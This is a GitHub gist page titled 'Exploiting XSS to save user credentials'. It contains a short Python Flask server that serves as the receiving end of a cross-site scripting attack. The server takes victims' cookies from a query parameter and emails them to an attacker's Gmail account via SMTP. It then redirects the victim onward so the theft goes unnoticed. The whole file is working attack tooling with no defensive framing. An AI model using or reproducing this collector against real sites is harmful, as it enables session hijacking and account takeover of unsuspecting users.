Skip to content

Instantly share code, notes, and snippets.

@samos123
Created May 1, 2014 10:10
Show Gist options
  • Save samos123/d3b8434215534466dc0f to your computer and use it in GitHub Desktop.
Save samos123/d3b8434215534466dc0f to your computer and use it in GitHub Desktop.
Exploiting XSS to save user credentials
import smtplib
from flask import Flask
from flask import request, redirect
app = Flask(__name__)
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
sender = 'xxx@gmail.com'
recipient = 'xxx@gmail.com'
subject = 'Got cookies yummy'
headers = ["From: " + sender,
"Subject: " + subject,
"To: " + recipient,
"MIME-Version: 1.0",
"Content-Type: text/html"]
headers = "\r\n".join(headers)
def send_email(body):
session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
session.ehlo()
session.starttls()
session.ehlo
session.login(sender, "xxxxx")
session.sendmail(sender, recipient, headers + "\r\n\r\n" + body)
session.quit()
@app.route("/", methods=['GET'])
def index():
cookies = request.args.get('cookies', '')
next = request.args.get('next', '')
next = next + "&redirected=1"
send_email(cookies)
return redirect(next)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment